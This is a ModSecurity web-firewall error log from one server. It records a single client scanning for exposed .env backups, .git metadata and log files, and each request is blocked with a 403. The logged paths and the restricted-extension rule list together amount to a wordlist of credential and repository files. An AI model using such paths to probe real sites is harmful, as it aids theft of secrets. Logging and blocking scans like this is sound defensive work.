[Sun Mar 22 01:06:30.637794 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzAAAAAg&quot;]
[Sun Mar 22 01:06:30.659916 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.local&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzQAAAAg&quot;]
[Sun Mar 22 01:06:30.660118 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.local&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzQAAAAg&quot;]
[Sun Mar 22 01:06:30.660261 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.local&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzQAAAAg&quot;]
[Sun Mar 22 01:06:30.682180 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzgAAAAg&quot;]
[Sun Mar 22 01:06:30.682427 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzgAAAAg&quot;]
[Sun Mar 22 01:06:30.682615 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzgAAAAg&quot;]
[Sun Mar 22 01:06:30.682741 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzgAAAAg&quot;]
[Sun Mar 22 01:06:30.704837 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.save&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzwAAAAg&quot;]
[Sun Mar 22 01:06:30.705050 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.save&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzwAAAAg&quot;]
[Sun Mar 22 01:06:30.705174 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.save&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzwAAAAg&quot;]
[Sun Mar 22 01:06:30.727252 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env~&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0AAAAAg&quot;]
[Sun Mar 22 01:06:30.727459 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env~&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0AAAAAg&quot;]
[Sun Mar 22 01:06:30.727587 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env~&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0AAAAAg&quot;]
[Sun Mar 22 01:06:30.749656 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0QAAAAg&quot;]
[Sun Mar 22 01:06:30.749850 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0QAAAAg&quot;]
[Sun Mar 22 01:06:30.749992 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0QAAAAg&quot;]
[Sun Mar 22 01:06:30.772042 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/HEAD&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0gAAAAg&quot;]
[Sun Mar 22 01:06:30.772229 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/HEAD&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0gAAAAg&quot;]
[Sun Mar 22 01:06:30.772348 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/HEAD&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0gAAAAg&quot;]
[Sun Mar 22 01:06:30.794284 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0wAAAAg&quot;]
[Sun Mar 22 01:06:30.794496 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0wAAAAg&quot;]
[Sun Mar 22 01:06:30.794623 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF0wAAAAg&quot;]
[Sun Mar 22 01:06:30.816653 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/logs/HEAD&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1AAAAAg&quot;]
[Sun Mar 22 01:06:30.816839 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/logs/HEAD&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1AAAAAg&quot;]
[Sun Mar 22 01:06:30.816959 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/logs/HEAD&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1AAAAAg&quot;]
[Sun Mar 22 01:06:30.839049 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /web/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.gitignore&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1QAAAAg&quot;]
[Sun Mar 22 01:06:30.839228 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.gitignore&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1QAAAAg&quot;]
[Sun Mar 22 01:06:30.839350 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.gitignore&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1QAAAAg&quot;]
[Sun Mar 22 01:06:30.861167 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/access.log&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1gAAAAg&quot;]
[Sun Mar 22 01:06:30.861551 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/access.log&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1gAAAAg&quot;]
[Sun Mar 22 01:06:30.861678 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/access.log&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMF1gAAAAg&quot;]
